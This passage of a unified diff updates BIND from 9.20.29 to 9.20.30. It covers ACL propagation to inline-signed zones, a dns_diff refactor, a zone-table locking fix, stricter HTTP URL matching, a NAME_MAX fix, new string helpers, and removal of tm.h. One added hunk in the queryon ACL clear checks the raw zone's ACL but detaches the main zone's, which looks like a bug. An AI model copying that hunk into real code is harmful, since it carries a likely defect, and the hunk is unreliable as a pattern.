notify->key; notify->key = NULL; } else { - isc_netaddr_fromsockaddr(&dstip, ¬ify->dst); result = dns_view_getpeertsig(notify->zone->view, &dstip, &key); if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) { notify_log(notify->zone, ISC_LOG_ERROR, @@ -15767,6 +15750,13 @@ dns_acl_detach(&zone->notify_acl); } dns_acl_attach(acl, &zone->notify_acl); + + if (inline_secure(zone)) { + if (zone->raw->notify_acl != NULL) { + dns_acl_detach(&zone->raw->notify_acl); + } + dns_acl_attach(acl, &zone->raw->notify_acl); + } UNLOCK_ZONE(zone); } @@ -15779,6 +15769,13 @@ dns_acl_detach(&zone->query_acl); } dns_acl_attach(acl, &zone->query_acl); + + if (inline_secure(zone)) { + if (zone->raw->query_acl != NULL) { + dns_acl_detach(&zone->raw->query_acl); + } + dns_acl_attach(acl, &zone->raw->query_acl); + } UNLOCK_ZONE(zone); } @@ -15791,6 +15788,13 @@ dns_acl_detach(&zone->queryon_acl); } dns_acl_attach(acl, &zone->queryon_acl); + + if (inline_secure(zone)) { + if (zone->raw->queryon_acl != NULL) { + dns_acl_detach(&zone->raw->queryon_acl); + } + dns_acl_attach(acl, &zone->raw->queryon_acl); + } UNLOCK_ZONE(zone); } @@ -15803,6 +15807,13 @@ dns_acl_detach(&zone->update_acl); } dns_acl_attach(acl, &zone->update_acl); + + if (inline_secure(zone)) { + if (zone->raw->update_acl != NULL) { + dns_acl_detach(&zone->raw->update_acl); + } + dns_acl_attach(acl, &zone->raw->update_acl); + } UNLOCK_ZONE(zone); } @@ -15815,6 +15826,13 @@ dns_acl_detach(&zone->forward_acl); } dns_acl_attach(acl, &zone->forward_acl); + + if (inline_secure(zone)) { + if (zone->raw->forward_acl != NULL) { + dns_acl_detach(&zone->raw->forward_acl); + } + dns_acl_attach(acl, &zone->raw->forward_acl); + } UNLOCK_ZONE(zone); } @@ -15827,6 +15845,13 @@ dns_acl_detach(&zone->xfr_acl); } dns_acl_attach(acl, &zone->xfr_acl); + + if (inline_secure(zone)) { + if (zone->raw->xfr_acl != NULL) { + dns_acl_detach(&zone->raw->xfr_acl); + } + dns_acl_attach(acl, &zone->raw->xfr_acl); + } UNLOCK_ZONE(zone); } @@ -15880,6 +15905,9 @@ if (zone->update_acl != NULL) { dns_acl_detach(&zone->update_acl); } + if (inline_secure(zone) && zone->raw->update_acl != NULL) { + dns_acl_detach(&zone->raw->update_acl); + } UNLOCK_ZONE(zone); } @@ -15891,6 +15919,9 @@ if (zone->forward_acl != NULL) { dns_acl_detach(&zone->forward_acl); } + if (inline_secure(zone) && zone->raw->forward_acl != NULL) { + dns_acl_detach(&zone->raw->forward_acl); + } UNLOCK_ZONE(zone); } @@ -15902,6 +15933,9 @@ if (zone->notify_acl != NULL) { dns_acl_detach(&zone->notify_acl); } + if (inline_secure(zone) && zone->raw->notify_acl != NULL) { + dns_acl_detach(&zone->raw->notify_acl); + } UNLOCK_ZONE(zone); } @@ -15913,6 +15947,9 @@ if (zone->query_acl != NULL) { dns_acl_detach(&zone->query_acl); } + if (inline_secure(zone) && zone->raw->query_acl != NULL) { + dns_acl_detach(&zone->raw->query_acl); + } UNLOCK_ZONE(zone); } @@ -15924,6 +15961,9 @@ if (zone->queryon_acl != NULL) { dns_acl_detach(&zone->queryon_acl); } + if (inline_secure(zone) && zone->raw->queryon_acl != NULL) { + dns_acl_detach(&zone->queryon_acl); + } UNLOCK_ZONE(zone); } @@ -15935,6 +15975,9 @@ if (zone->xfr_acl != NULL) { dns_acl_detach(&zone->xfr_acl); } + if (inline_secure(zone) && zone->raw->xfr_acl != NULL) { + dns_acl_detach(&zone->raw->xfr_acl); + } UNLOCK_ZONE(zone); } @@ -16884,7 +16927,7 @@ if (seczone->privatetype != 0 && tuple->rdata.type == seczone->privatetype) { - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); dns_difftuple_free(&tuple); continue; } @@ -16897,7 +16940,7 @@ tuple->rdata.type == dns_rdatatype_nsec3 || tuple->rdata.type == dns_rdatatype_nsec3param) { - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); dns_difftuple_free(&tuple); continue; } @@ -16941,7 +16984,7 @@ /* * Split into deletions and additions. */ - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); switch (tuple->op) { case DNS_DIFFOP_DEL: case DNS_DIFFOP_DELRESIGN: @@ -16992,14 +17035,38 @@ /* * Rebuild the diff now that we have filtered it */ - ISC_LIST_APPENDLIST(diff->tuples, del, link); - ISC_LIST_APPENDLIST(diff->tuples, keydel, link); - ISC_LIST_APPENDLIST(diff->tuples, ckeydel, link); - ISC_LIST_APPENDLIST(diff->tuples, cdsdel, link); - ISC_LIST_APPENDLIST(diff->tuples, add, link); - ISC_LIST_APPENDLIST(diff->tuples, keyadd, link); - ISC_LIST_APPENDLIST(diff->tuples, ckeyadd, link); - ISC_LIST_APPENDLIST(diff->tuples, cdsadd, link); + ISC_LIST_FOREACH_SAFE(del, tuple, link, next) { + ISC_LIST_UNLINK(del, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(keydel, tuple, link, next) { + ISC_LIST_UNLINK(keydel, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(ckeydel, tuple, link, next) { + ISC_LIST_UNLINK(ckeydel, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(cdsdel, tuple, link, next) { + ISC_LIST_UNLINK(cdsdel, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(add, tuple, link, next) { + ISC_LIST_UNLINK(add, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(keyadd, tuple, link, next) { + ISC_LIST_UNLINK(keyadd, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(ckeyadd, tuple, link, next) { + ISC_LIST_UNLINK(ckeyadd, tuple, link); + dns_diff_append(diff, &tuple); + } + ISC_LIST_FOREACH_SAFE(cdsadd, tuple, link, next) { + ISC_LIST_UNLINK(cdsadd, tuple, link); + dns_diff_append(diff, &tuple); + } if (ISC_LIST_EMPTY(diff->tuples)) { return DNS_R_UNCHANGED; @@ -17010,12 +17077,12 @@ * saving the new SOA record. */ if (oldtuple != NULL) { - ISC_LIST_UNLINK(diff->tuples, oldtuple, link); + dns_diff_unlink(diff, oldtuple); dns_difftuple_free(&oldtuple); } if (newtuple != NULL) { - ISC_LIST_UNLINK(diff->tuples, newtuple, link); + dns_diff_unlink(diff, newtuple); *soatuple = newtuple; } @@ -17183,10 +17250,12 @@ } dns_soa_setserial(newserial, &soatuple->rdata); } - CHECK(do_one_tuple(&tuple, zone->rss_db, - zone->rss_newver, &zone->rss_diff)); - CHECK(do_one_tuple(&soatuple, zone->rss_db, - zone->rss_newver, &zone->rss_diff)); + CHECK(dns_diff_applytuple(&tuple, zone->rss_db, + zone->rss_newver, + &zone->rss_diff)); + CHECK(dns_diff_applytuple(&soatuple, zone->rss_db, + zone->rss_newver, + &zone->rss_diff)); } else { CHECK(update_soa_serial(zone, zone->rss_db, zone->rss_newver, @@ -20698,7 +20767,7 @@ tuple = ISC_LIST_HEAD(diff->tuples)) { if (tuple->rdata.type != dns_rdatatype_dnskey) { - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); ISC_LIST_APPEND(tuples, tuple, link); continue; } @@ -20707,12 +20776,12 @@ RUNTIME_CHECK(result == ISC_R_SUCCESS); if ((dnskey.flags & DNS_KEYFLAG_OWNERMASK) != DNS_KEYOWNER_ZONE) { - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); ISC_LIST_APPEND(tuples, tuple, link); continue; } - ISC_LIST_UNLINK(diff->tuples, tuple, link); + dns_diff_unlink(diff, tuple); switch (tuple->op) { case DNS_DIFFOP_DEL: case DNS_DIFFOP_DELRESIGN: @@ -20731,7 +20800,10 @@ * Put the tuples that don't need more processing back onto * diff->tuples. */ - ISC_LIST_APPENDLIST(diff->tuples, tuples, link); + ISC_LIST_FOREACH_SAFE(tuples, tuple, link, next) { + ISC_LIST_UNLINK(tuples, tuple, link); + dns_diff_append(diff, &tuple); + } /* * Filter out DNSKEY TTL changes and put them back onto diff->tuples. @@ -20745,9 +20817,9 @@ &addtuple->rdata); if (n == 0) { ISC_LIST_UNLINK(del, deltuple, link); - ISC_LIST_APPEND(diff->tuples, deltuple, link); + dns_diff_append(diff, &deltuple); ISC_LIST_UNLINK(add, addtuple, link); - ISC_LIST_APPEND(diff->tuples, addtuple, link); + dns_diff_append(diff, &addtuple); break; } } @@ -20788,7 +20860,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, 0, &rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); INSIST(newtuple == NULL); } @@ -20801,7 +20873,7 @@ if (flag) { CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_DEL, name, 0, &rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); INSIST(newtuple == NULL); } } @@ -20810,7 +20882,10 @@ /* * Put the DNSKEY changes we cared about back on diff->tuples. */ - ISC_LIST_APPENDLIST(diff->tuples, tuples, link); + ISC_LIST_FOREACH_SAFE(tuples, tuple, link, next) { + ISC_LIST_UNLINK(tuples, tuple, link); + dns_diff_append(diff, &tuple); + } INSIST(ISC_LIST_EMPTY(add)); INSIST(ISC_LIST_EMPTY(del)); INSIST(ISC_LIST_EMPTY(tuples)); @@ -21599,6 +21674,8 @@ goto cleanup; } + isc_netaddr_fromsockaddr(&dstip, &checkds->dst); + checkds_createmessage(checkds->zone, &message); isc_sockaddr_format(&checkds->dst, addrbuf, sizeof(addrbuf)); @@ -21607,7 +21684,6 @@ key = checkds->key; checkds->key = NULL; } else { - isc_netaddr_fromsockaddr(&dstip, &checkds->dst); result = dns_view_getpeertsig(checkds->zone->view, &dstip, &key); if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) { @@ -24705,8 +24781,8 @@ } dns_soa_setserial(desired, &newtuple->rdata); - CHECK(do_one_tuple(&oldtuple, db, newver, &diff)); - CHECK(do_one_tuple(&newtuple, db, newver, &diff)); + CHECK(dns_diff_applytuple(&oldtuple, db, newver, &diff)); + CHECK(dns_diff_applytuple(&newtuple, db, newver, &diff)); result = dns_update_signatures(&log, zone, db, oldver, newver, &diff, zone->sigvalidityinterval); if (result != ISC_R_NOTFOUND) { diff -Nru bind9-9.20.29/lib/dns/zt.c bind9-9.20.30/lib/dns/zt.c --- bind9-9.20.29/lib/dns/zt.c 2026-09-11 19:41:01.548332123 +0000 +++ bind9-9.20.30/lib/dns/zt.c 2026-10-12 13:12:08.463901109 +0000 @@ -196,8 +196,8 @@ } } } - dns_qpread_destroy(zt->multi, &qpr); + /* Keep the zone protected through the checks and attachment. */ if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) { dns_zone_t *zone = pval; /* @@ -226,6 +226,7 @@ dns_zone_attach(zone, zonep); } } + dns_qpread_destroy(zt->multi, &qpr); return result; } diff -Nru bind9-9.20.29/lib/isc/Makefile.am bind9-9.20.30/lib/isc/Makefile.am --- bind9-9.20.29/lib/isc/Makefile.am 2026-09-11 19:41:01.548332123 +0000 +++ bind9-9.20.30/lib/isc/Makefile.am 2026-10-12 13:12:08.463901109 +0000 @@ -91,7 +91,6 @@ include/isc/time.h \ include/isc/timer.h \ include/isc/tls.h \ - include/isc/tm.h \ include/isc/types.h \ include/isc/urcu.h \ include/isc/url.h \ @@ -193,7 +192,6 @@ time.c \ timer.c \ tls.c \ - tm.c \ url.c \ utf8.c \ uv.c \ diff -Nru bind9-9.20.29/lib/isc/Makefile.in bind9-9.20.30/lib/isc/Makefile.in --- bind9-9.20.29/lib/isc/Makefile.in 2026-09-11 19:42:18.858196058 +0000 +++ bind9-9.20.30/lib/isc/Makefile.in 2026-10-12 13:13:34.019591427 +0000 @@ -226,12 +226,12 @@ include/isc/stdtime.h include/isc/strerr.h \ include/isc/string.h include/isc/symtab.h include/isc/syslog.h \ include/isc/thread.h include/isc/tid.h include/isc/time.h \ - include/isc/timer.h include/isc/tls.h include/isc/tm.h \ - include/isc/types.h include/isc/urcu.h include/isc/url.h \ - include/isc/utf8.h include/isc/util.h include/isc/uv.h \ - include/isc/xml.h include/isc/work.h netmgr/netmgr-int.h \ - netmgr/netmgr.c netmgr/proxystream.c netmgr/proxyudp.c \ - netmgr/socket.c netmgr/streamdns.c netmgr/tcp.c netmgr/timer.c \ + include/isc/timer.h include/isc/tls.h include/isc/types.h \ + include/isc/urcu.h include/isc/url.h include/isc/utf8.h \ + include/isc/util.h include/isc/uv.h include/isc/xml.h \ + include/isc/work.h netmgr/netmgr-int.h netmgr/netmgr.c \ + netmgr/proxystream.c netmgr/proxyudp.c netmgr/socket.c \ + netmgr/streamdns.c netmgr/tcp.c netmgr/timer.c \ netmgr/tlsstream.c netmgr/udp.c ascii.c assertions.c async.c \ async_p.h backtrace.c base32.c base64.c commandline.c \ condition.c counter.c crc64.c dir.c errno.c errno2result.c \ @@ -245,7 +245,7 @@ probes.d proxy2.c quota.c radix.c random.c ratelimiter.c \ regex.c region.c result.c safe.c serial.c signal.c sockaddr.c \ stats.c stdio.c stdtime.c string.c symtab.c syslog.c thread.c \ - tid.c time.c timer.c tls.c tm.c url.c utf8.c uv.c xml.c work.c \ + tid.c time.c timer.c tls.c url.c utf8.c uv.c xml.c work.c \ rwlock.c netmgr/http.c am__objects_1 = am__dirstamp = $(am__leading_dot)dirstamp @@ -282,9 +282,9 @@ libisc_la-stdtime.lo libisc_la-string.lo libisc_la-symtab.lo \ libisc_la-syslog.lo libisc_la-thread.lo libisc_la-tid.lo \ libisc_la-time.lo libisc_la-timer.lo libisc_la-tls.lo \ - libisc_la-tm.lo libisc_la-url.lo libisc_la-utf8.lo \ - libisc_la-uv.lo libisc_la-xml.lo libisc_la-work.lo \ - $(am__objects_2) $(am__objects_3) + libisc_la-url.lo libisc_la-utf8.lo libisc_la-uv.lo \ + libisc_la-xml.lo libisc_la-work.lo $(am__objects_2) \ + $(am__objects_3) libisc_la_OBJECTS = $(am_libisc_la_OBJECTS) AM_V_lt = $(am__v_lt_@AM_V@) am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) @@ -367,10 +367,9 @@ ./$(DEPDIR)/libisc_la-syslog.Plo \ ./$(DEPDIR)/libisc_la-thread.Plo ./$(DEPDIR)/libisc_la-tid.Plo \ ./$(DEPDIR)/libisc_la-time.Plo ./$(DEPDIR)/libisc_la-timer.Plo \ - ./$(DEPDIR)/libisc_la-tls.Plo ./$(DEPDIR)/libisc_la-tm.Plo \ - ./$(DEPDIR)/libisc_la-url.Plo ./$(DEPDIR)/libisc_la-utf8.Plo \ - ./$(DEPDIR)/libisc_la-uv.Plo ./$(DEPDIR)/libisc_la-work.Plo \ - ./$(DEPDIR)/libisc_la-xml.Plo \ + ./$(DEPDIR)/libisc_la-tls.Plo ./$(DEPDIR)/libisc_la-url.Plo \ + ./$(DEPDIR)/libisc_la-utf8.Plo ./$(DEPDIR)/libisc_la-uv.Plo \ + ./$(DEPDIR)/libisc_la-work.Plo ./$(DEPDIR)/libisc_la-xml.Plo \ netmgr/$(DEPDIR)/libisc_la-http.Plo \ netmgr/$(DEPDIR)/libisc_la-netmgr.Plo \ netmgr/$(DEPDIR)/libisc_la-proxystream.Plo \ @@ -786,7 +785,6 @@ include/isc/time.h \ include/isc/timer.h \ include/isc/tls.h \ - include/isc/tm.h \ include/isc/types.h \ include/isc/urcu.h \ include/isc/url.h \ @@ -812,7 +810,7 @@ probes.d proxy2.c quota.c radix.c random.c ratelimiter.c \ regex.c region.c result.c safe.c serial.c signal.c sockaddr.c \ stats.c stdio.c stdtime.c string.c symtab.c syslog.c thread.c \ - tid.c time.c timer.c tls.c tm.c url.c utf8.c uv.c xml.c work.c \ + tid.c time.c timer.c tls.c url.c utf8.c uv.c xml.c work.c \ $(am__append_2) $(am__append_7) libisc_la_CPPFLAGS = $(AM_CPPFLAGS) $(LIBISC_CFLAGS) $(LIBUV_CFLAGS) \ $(OPENSSL_CFLAGS) $(ZLIB_CFLAGS) $(am__append_3) \ @@ -1006,7 +1004,6 @@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-time.Plo@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-timer.Plo@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-tls.Plo@am__quote@ # am--include-marker -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-tm.Plo@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-url.Plo@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-utf8.Plo@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libisc_la-uv.Plo@am__quote@ # am--include-marker @@ -1599,13 +1596,6 @@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libisc_la_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o libisc_la-tls.lo `test -f 'tls.c' || echo '$(srcdir)/'`tls.c -libisc_la-tm.lo: tm.c -@am__fastdepCC_TRUE@ $(AM_V_CC)$(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libisc_la_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT libisc_la-tm.lo -MD -MP -MF $(DEPDIR)/libisc_la-tm.Tpo -c -o libisc_la-tm.lo `test -f 'tm.c' || echo '$(srcdir)/'`tm.c -@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libisc_la-tm.Tpo $(DEPDIR)/libisc_la-tm.Plo -@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='tm.c' object='libisc_la-tm.lo' libtool=yes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libisc_la_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o libisc_la-tm.lo `test -f 'tm.c' || echo '$(srcdir)/'`tm.c - libisc_la-url.lo: url.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libisc_la_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT libisc_la-url.lo -MD -MP -MF $(DEPDIR)/libisc_la-url.Tpo -c -o libisc_la-url.lo `test -f 'url.c' || echo '$(srcdir)/'`url.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libisc_la-url.Tpo $(DEPDIR)/libisc_la-url.Plo @@ -1890,7 +1880,6 @@ -rm -f ./$(DEPDIR)/libisc_la-time.Plo -rm -f ./$(DEPDIR)/libisc_la-timer.Plo -rm -f ./$(DEPDIR)/libisc_la-tls.Plo - -rm -f ./$(DEPDIR)/libisc_la-tm.Plo -rm -f ./$(DEPDIR)/libisc_la-url.Plo -rm -f ./$(DEPDIR)/libisc_la-utf8.Plo -rm -f ./$(DEPDIR)/libisc_la-uv.Plo @@ -2025,7 +2014,6 @@ -rm -f ./$(DEPDIR)/libisc_la-time.Plo -rm -f ./$(DEPDIR)/libisc_la-timer.Plo -rm -f ./$(DEPDIR)/libisc_la-tls.Plo - -rm -f ./$(DEPDIR)/libisc_la-tm.Plo -rm -f ./$(DEPDIR)/libisc_la-url.Plo -rm -f ./$(DEPDIR)/libisc_la-utf8.Plo -rm -f ./$(DEPDIR)/libisc_la-uv.Plo diff -Nru bind9-9.20.29/lib/isc/assertions.c bind9-9.20.30/lib/isc/assertions.c --- bind9-9.20.29/lib/isc/assertions.c 2026-09-11 19:41:01.548332123 +0000 +++ bind9-9.20.30/lib/isc/assertions.c 2026-10-12 13:12:08.463901109 +0000 @@ -41,7 +41,6 @@ */ /*% assertion failed handler */ -/* coverity[+kill] */ void isc_assertion_failed(const char *file, int line, isc_assertiontype_t type, const char *cond) { diff -Nru bind9-9.20.29/lib/isc/httpd.c bind9-9.20.30/lib/isc/httpd.c --- bind9-9.20.29/lib/isc/httpd.c 2026-09-11 19:41:01.551332195 +0000 +++ bind9-9.20.30/lib/isc/httpd.c 2026-10-12 13:12:08.466901173 +0000 @@ -773,7 +773,9 @@ LOCK(&mgr->lock); ISC_LIST_FOREACH(mgr->urls, url, link) { - if (strncmp(path, url->url, path_len) == 0) { + if (strlen(url->url) == path_len && + strncmp(path, url->url, path_len) == 0) + { break; } } diff -Nru bind9-9.20.29/lib/isc/include/isc/assertions.h bind9-9.20.30/lib/isc/include/isc/assertions.h --- bind9-9.20.29/lib/isc/include/isc/assertions.h 2026-09-11 19:41:01.551332195 +0000 +++ bind9-9.20.30/lib/isc/include/isc/assertions.h 2026-10-12 13:12:08.467901194 +0000 @@ -32,7 +32,6 @@ typedef void (*isc_assertioncallback_t)(const char *, int, isc_assertiontype_t, const char *); -/* coverity[+kill] */ noreturn void isc_assertion_failed(const char *, int, isc_assertiontype_t, const char *); diff -Nru bind9-9.20.29/lib/isc/include/isc/dir.h bind9-9.20.30/lib/isc/include/isc/dir.h --- bind9-9.20.29/lib/isc/include/isc/dir.h 2026-09-11 19:41:01.552332219 +0000 +++ bind9-9.20.30/lib/isc/include/isc/dir.h 2026-10-12 13:12:08.468901216 +0000 @@ -23,7 +23,7 @@ #include #ifndef NAME_MAX -#define NAME_MAX 256 +#define NAME_MAX 255 #endif #ifndef PATH_MAX @@ -32,7 +32,7 @@ /*% Directory Entry */ typedef struct isc_direntry { - char name[NAME_MAX]; + char name[NAME_MAX + 1]; unsigned int length; } isc_direntry_t; diff -Nru bind9-9.20.29/lib/isc/include/isc/lex.h bind9-9.20.30/lib/isc/include/isc/lex.h --- bind9-9.20.29/lib/isc/include/isc/lex.h 2026-09-11 19:41:01.554332267 +0000 +++ bind9-9.20.30/lib/isc/include/isc/lex.h 2026-10-12 13:12:08.470901258 +0000 @@ -46,6 +46,7 @@ #include #include +#include #include #include @@ -356,6 +357,30 @@ *\li There is no ungotten token already. */ +static inline bool +isc_token_hasnul(const isc_token_t *token) { + /* + * Only string tokens carry a text region; other types have no + * text to inspect. + */ + if (token->type != isc_tokentype_string && + token->type != isc_tokentype_qstring) + { + return false; + } + return memchr(token->value.as_textregion.base, 0, + token->value.as_textregion.length) != NULL; +} +/*%< + * Return true if 'token' is a string or quoted-string token whose text + * contains an embedded NUL byte. Such a token would be silently + * truncated by any consumer that treats the text as a C string, so + * callers that go on to do that should reject it. + * + * Requires: + *\li 'token' points to a valid token. + */ + void isc_lex_getlasttokentext(isc_lex_t *lex, isc_token_t *tokenp, isc_region_t *r); /*%< diff -Nru bind9-9.20.29/lib/isc/include/isc/stats.h bind9-9.20.30/lib/isc/include/isc/stats.h --- bind9-9.20.29/lib/isc/include/isc/stats.h 2026-09-11 19:41:01.558332362 +0000 +++ bind9-9.20.30/lib/isc/include/isc/stats.h 2026-10-12 13:12:08.474901344 +0000 @@ -213,3 +213,5 @@ *\li counter is less than the maximum available ID for the stats specified * on creation. */ + +ISC_LANG_ENDDECLS diff -Nru bind9-9.20.29/lib/isc/include/isc/string.h bind9-9.20.30/lib/isc/include/isc/string.h --- bind9-9.20.29/lib/isc/include/isc/string.h 2026-09-11 19:41:01.559332386 +0000 +++ bind9-9.20.30/lib/isc/include/isc/string.h 2026-10-12 13:12:08.474901344 +0000 @@ -15,7 +15,9 @@ /*! \file isc/string.h */ +#include #include +#include #include @@ -39,4 +41,44 @@ int isc_string_strerror_r(int errnum, char *buf, size_t buflen); +/* + * Return true when 'str' begins with 'prefix', compared case + * sensitively. + */ +static inline bool +isc_string_hasprefix(const char *str, const char *prefix) { + return strncmp(str, prefix, strlen(prefix)) == 0; +} + +/* + * Return true when 'str' begins with 'prefix', compared case + * insensitively. + */ +static inline bool +isc_string_casehasprefix(const char *str, const char *prefix) { + return strncasecmp(str, prefix, strlen(prefix)) == 0; +} + +/* + * Match the beginning of 'str' against 'prefix' (case sensitively) + * and strip the prefix: return the remainder of 'str' after 'prefix', + * or NULL when 'str' does not begin with 'prefix'. + */ +static inline const char * +isc_string_stripprefix(const char *str, const char *prefix) { + size_t len = strlen(prefix); + return strncmp(str, prefix, len) == 0 ? str + len : NULL; +} + +/* + * Match the beginning of 'str' against 'prefix' (case insensitively) + * and strip the prefix: return the remainder of 'str' after 'prefix', + * or NULL when 'str' does not begin with 'prefix'. + */ +static inline const char * +isc_string_casestripprefix(const char *str, const char *prefix) { + size_t len = strlen(prefix); + return strncasecmp(str, prefix, len) == 0 ? str + len : NULL; +} + ISC_LANG_ENDDECLS diff -Nru bind9-9.20.29/lib/isc/include/isc/time.h bind9-9.20.30/lib/isc/include/isc/time.h --- bind9-9.20.29/lib/isc/include/isc/time.h 2026-09-11 19:41:01.559332386 +0000 +++ bind9-9.20.30/lib/isc/include/isc/time.h 2026-10-12 13:12:08.474901344 +0000 @@ -37,7 +37,6 @@ #define ISC_FORMATISO8601_SIZE sizeof("9999-99-99T99:99:99Z") #define ISC_FORMATISO8601MS_SIZE sizeof("9999-99-99T99:99:99.999Z") #define ISC_FORMATISO8601US_SIZE sizeof("9999-99-99T99:99:99.999999Z") -#define ISC_FORMATISO8601TZMS_SIZE sizeof("9999-99-99T99:99:99.999+99:99") #define ISC_FORMATSHORTTIMESTAMP_SIZE sizeof("99999999999999999") /* @@ -374,7 +373,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATTIMESTAMP_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -388,7 +387,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATHTTPTIMESTAMP_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -426,7 +425,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATISO8601MS_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -440,7 +439,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATISO8601US_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -454,7 +453,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATISO8601_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -468,7 +467,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATISO8601MS_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -482,7 +481,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATISO8601US_SIZE *\li 'buf' points to an array of at least len chars * */ @@ -496,7 +495,7 @@ * but is always guaranteed to be null terminated. * * Requires: - *\li 'len' > 0 + *\li 'len' > ISC_FORMATSHORTTIMESTAMP_SIZE *\li 'buf' points to an array of at least len chars * */ diff -Nru bind9-9.20.29/lib/isc/include/isc/tm.h bind9-9.20.30/lib/isc/include/isc/tm.h --- bind9-9.20.29/lib/isc/include/isc/tm.h 2026-09-11 19:41:01.559332386 +0000 +++ bind9-9.20.30/lib/isc/include/isc/tm.h 1970-01-01 00:00:00.000000000 +0000 @@ -1,39 +0,0 @@ -/* - * Copyright (C) Internet Systems Consortium, Inc. ("ISC") - * - * SPDX-License-Identifier: MPL-2.0 - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, you can obtain one at https://mozilla.org/MPL/2.0/. - * - * See the COPYRIGHT file distributed with this work for additional - * information regarding copyright ownership. - */ - -#pragma once - -/*! \file isc/tm.h - * Provides portable conversion routines for struct tm. - */ -#include - -#include -#include - -ISC_LANG_BEGINDECLS - -time_t -isc_tm_timegm(struct tm *tm); -/* - * Convert a tm structure to time_t, using UTC rather than the local - * time zone. - */ - -char * -isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm); -/* - * Parse a formatted date string into struct tm. - */ - -ISC_LANG_ENDDECLS diff -Nru bind9-9.20.29/lib/isc/mem.c bind9-9.20.30/lib/isc/mem.c --- 